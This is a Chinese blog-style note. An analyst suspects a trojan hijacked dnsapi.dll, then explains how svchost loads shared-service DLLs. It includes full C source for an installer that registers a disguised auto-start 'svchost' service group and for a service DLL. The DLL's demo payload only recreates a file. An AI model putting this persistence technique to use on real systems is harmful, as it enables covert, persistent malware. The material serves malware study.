Svchost进程和共享服务病毒原理——老裁缝应该利用这个，todo，待验证

看到的现象：停止dns client服务后，老裁缝不再通过explorer.exe发送c2域名

dns client是dnscache服务，该服务启动的命令行：C:\WINDOWS\system32\svchost.exe -k NetworkService -p 

我看了下svchost被其他病毒利用的过程如下：

因为dnscache的确是在HKEY_LOCAL_MACHINE\system\currentcontrolset\services\Dnscahce 里！

里面有一个DLL， 在%SystemRoot%\System32\dnsapi.dll 位置！

怀疑是老裁缝木马感染了该dll，然后该DLL注入到explorer.exe里。待拿到样本分析。

 

 

Svchost进程和共享服务病毒原理

1. svchost的由来

Windows系统服务现在可以分为独立进程和共享进程 

在windows Nt中, 只有服务管理器SCM(service.exe)有多个共享服务. 随着系统的服务增加,为了增强系统性能于是

在windows2000开始将很多服务做成共享方式并且由svchost.exe启动

svchost.exe本身并不实现任何服务功能,但是需要成为服务的dll可以由svchost加载成为服务.这些dll内部需要实现一个名为ServiceMain的函数

例如, windows中有个特殊的服务名为:RPCss 远程过程调用服务在注册表中如下:

HKEY_LOCAL_MACHINE\system\currentcontrolset\services\RpcSs, RpcSs是个服务, 它下面有个Parameters子健. 它的ServiceDll的值

指出了它的dll文件,RpcSs子健的imagedll值指出了svchost.exe

此外, windows将这些服务通过分组, 每组中的服务由一个svchost进程来负责. 因此会有多个svchost进程出现.

svchost.exe负责的所有服务组合服务与此键下:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost

于是在启动一个svchost负责的服务时如果目标服务属于已经启动的服务组的svchost,那么那个svchost进程将加载服务对应的dll,而不会再创建一个svchost进程

 

2.svchost 加载服务原理

(1). 它的入口函数先对命令行进行分析,获取所属的服务组名字根据服务组名在HKEY_LOCAL_MACHINE\system\currentcontrolset\services\服务组名

的子键下的所有服务.

(2).将服务组中的服务名保存起来后,创建SERVICE_TABLE_ENTRYW 数组, 这些服务名对应的服务入口函数都是svchost实现的一个子函数

(3).调用StartServiceCtrlDispatcher API注册这些服务的调用函数, 然后svchost主线程等待scm启动服务的命令

(4).当scm调用svchost的被注册的子函数时,将服务名作为参数传递进去,然后svchost会根据之前保存的服务名组查找该服务名,如果是在其中就根据

其对应的HKEY_LOCAL_MACHINE\system\currentcontrolset\services\服务名\ 下查找parameters下的键值,并将对应的dll加载到svchost

进程中.然后将服务名作为参数传递到它的ServiceMain函数中.

综上,骇客们完全可以写一个dll实现服务的功能让 svchost加载. 实现很隐蔽的dll病毒. 

接下来用这个方式实现在c盘根目录创建一个文件,且每隔一秒检查是否被删除,如果删除了就重新创建

 

3.创建服务代码部分

#include "stdafx.h"
#define serviceName "svchost"
#define WserviceName L"svchost"
HANDLE g_hModule = 0;
SERVICE_STATUS_HANDLE hStatus = 0;
SERVICE_STATUS ss = { 0 };
DWORD exit=0;
DWORD Install(WCHAR* modulePath)
{
    SC_HANDLE hScm = 0;
    SC_HANDLE hSer = 0;
    char groupName[] = "svctest";
    char fullPath[128] = { 0 };
    //WCHAR modulePath[MAX_PATH] = { 0 };
    HKEY hMainKey = HKEY_LOCAL_MACHINE;
    HKEY hSubKey = 0,htemp;
    DWORD result, lpcbMaxValueLen, valueType, valueSize,dtemp;
    BYTE * value;
    result = RegOpenKeyExW(hMainKey, L"software\\microsoft\\windows nt\\currentversion\\svchost", 0, KEY_SET_VALUE | KEY_QUERY_VALUE, &hSubKey);
    if (result!=ERROR_SUCCESS)
    {
        return result;
    }
    RegQueryInfoKeyW(hSubKey, 0, 0, 0, 0, 0, 0, 0, 0, &lpcbMaxValueLen, 0, 0);
    value = (BYTE*)malloc(lpcbMaxValueLen+24);

    memset(value, 0, lpcbMaxValueLen + 24);
    valueSize = lpcbMaxValueLen + 24;
    result = RegQueryValueExA(hSubKey, groupName, 0, &valueType, value, &valueSize);


    //找服务组,如果找到则在找是否本服务已加入,没有就加入否则退出, 如果没有找到服务组则创建服务组并向该
    //服务组添加本服务
    if (result==ERROR_SUCCESS) //找到服务组
    {
        memcpy(value + valueSize - 1, serviceName,strlen(serviceName)+1);
        memset(value+valueSize+strlen(serviceName),0,1);
        //RegSetValueExW 如果值名不存在则添加,然后写入数据,注意写入数据的格式REG_MULTI_SZ与长度
        result = RegSetValueExA(hSubKey, groupName, 0, REG_MULTI_SZ, (BYTE*)value, valueSize+strlen(serviceName)+1);
        free(value);
        RegCloseKey(hSubKey);
    }    
    else
    {
        memcpy(value,serviceName,strlen(serviceName)+1);
        memset(value+strlen(serviceName)+1,0,1);
        valueSize=strlen(serviceName)+2;
        //RegSetValueExW 如果值名不存在则添加,然后写入数据,注意写入数据的格式REG_MULTI_SZ与长度
        result = RegSetValueExA(hSubKey, groupName, 0, REG_MULTI_SZ, (BYTE*)value, valueSize);
        free(value);
        RegCloseKey(hSubKey);
    }


    if (result!=ERROR_SUCCESS)
    {
        return 0;
    }


    //打开服务管理器
    hScm = OpenSCManagerW(0, 0, SC_MANAGER_ALL_ACCESS);

    if (hScm == 0)
    {
        wprintf(L"OpenSCManagerW error code is %d\n", GetLastError());
        return 0;
    }
    sprintf(fullPath, "c:\\windows\\system32\\svchost.exe -k %s", groupName);

    //创建该服务
    hSer = CreateServiceA(hScm, serviceName, serviceName, SERVICE_ALL_ACCESS, SERVICE_WIN32_SHARE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, fullPath, 0, 0, 0, 0, 0);
    if (hSer == 0)
    {
        wprintf(L"CreateServiceW error code is %d\n", GetLastError());
        CloseServiceHandle(hScm);
        return 0;
    }
    if (hSer)    CloseServiceHandle(hSer);
    if (hScm)   CloseServiceHandle(hScm);
    sprintf(fullPath, "system\\currentcontrolset\\services\\%s", serviceName);

    //服务创建成功,这里就会打开
    result = RegOpenKeyExA(hMainKey, fullPath, 0, KEY_ALL_ACCESS, &hSubKey);
    if (result!=ERROR_SUCCESS)
    {
        return 0;
    }

    //添加Parameters键
    result = RegCreateKeyExW(hSubKey, L"Parameters", 0, 0, 0, KEY_ALL_ACCESS, 0, &htemp ,&dtemp);
    if (result != ERROR_SUCCESS)
    {
        RegCloseKey(hSubKey);
        return 0;
    }//给Parameters键添加值名ServiceDll, 数据就是dll路径
    result = RegSetValueExW(htemp, L"ServiceDll", 0, REG_EXPAND_SZ, (PBYTE)modulePath, wcslen(modulePath) * sizeof(WCHAR) + 2);
    RegCloseKey(hSubKey);
    RegCloseKey(htemp);
    return 1;
}
void wmain()
{
    Install(L"%SystemRoot%\\System32\\svchost.dll");
}

 

 4.dll服务程序代码部分:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#define serviceName L"svchost"
#include <windows.h>
#include <wchar.h>
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
HANDLE g_hModule = 0;
SERVICE_STATUS_HANDLE hStatus = 0;
SERVICE_STATUS ss ;
DWORD aexit;

VOID WINAPI handler(DWORD code);

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{

    g_hModule = hModule;
    return TRUE;
}


 void WINAPI ServiceMain(int argv, wchar_t * argc[])
{
    //初始化
    HANDLE file;
    aexit=0;
    ss.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
    ss.dwCurrentState = SERVICE_STOPPED;
    // 设置服务可以使用的控制
    // 如果希望服务启动后不能停止，去掉SERVICE_ACCEPT_STOP
    // SERVICE_ACCEPT_PAUSE_CONTINUE是服务可以“暂停/继续”
    ss.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
    ss.dwWin32ExitCode = 0;
    ss.dwServiceSpecificExitCode = 0;
    ss.dwCheckPoint = 0;
    ss.dwWaitHint = 0;
    hStatus = RegisterServiceCtrlHandlerW(argc[0], handler);
    if (hStatus==0)
    {
        return;
    }
    //设置为启动状态
    ss.dwCurrentState = SERVICE_START_PENDING;
    SetServiceStatus(hStatus, &ss);
    ss.dwCurrentState = SERVICE_RUNNING;
    SetServiceStatus(hStatus, &ss);

    //服务运行循环
    while (1)
    {
        Sleep(1000);
        MessageBeep(0);
        if (aexit==1)
        {
            break;
        }
        file = CreateFileA("C:\\1.txt", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_NEW, 0, 0);
        if (file != 0 && file != INVALID_HANDLE_VALUE)
        {
            CloseHandle(file);
        }
    }

    //服务循环退出后将设置退出状态
    ss.dwCurrentState = SERVICE_STOPPED;
    SetServiceStatus(hStatus, &ss);
}
VOID WINAPI handler(DWORD code)
{
    switch (code)
    {
    case SERVICE_CONTROL_STOP:
        ss.dwCurrentState = SERVICE_STOP_PENDING;
        SetServiceStatus(hStatus, &ss);

        ss.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(hStatus, &ss);
        aexit = 1;
        OutputDebugString(L"[hijack] service is stopped...");
        break;

    case SERVICE_CONTROL_PAUSE:
        ss.dwCurrentState = SERVICE_PAUSE_PENDING;
        SetServiceStatus(hStatus, &ss);

        ss.dwCurrentState = SERVICE_PAUSED;
        SetServiceStatus(hStatus, &ss);

        OutputDebugString(L"[hijack] service is PAUSE...");
        break;
    case SERVICE_CONTROL_CONTINUE:
        ss.dwCurrentState = SERVICE_CONTINUE_PENDING;
        SetServiceStatus(hStatus, &ss);

        ss.dwCurrentState = SERVICE_RUNNING;
        SetServiceStatus(hStatus, &ss);

        OutputDebugString(L"[hijack] service is CONTINUE...");
        break;
    case SERVICE_CONTROL_SHUTDOWN:
        ss.dwCurrentState = SERVICE_STOP_PENDING;
        SetServiceStatus(hStatus, &ss);

        ss.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(hStatus, &ss);
        aexit = 1;
        OutputDebugString(L"[hijack] service is stopped...");
        break;
    default:
        break;
    }
}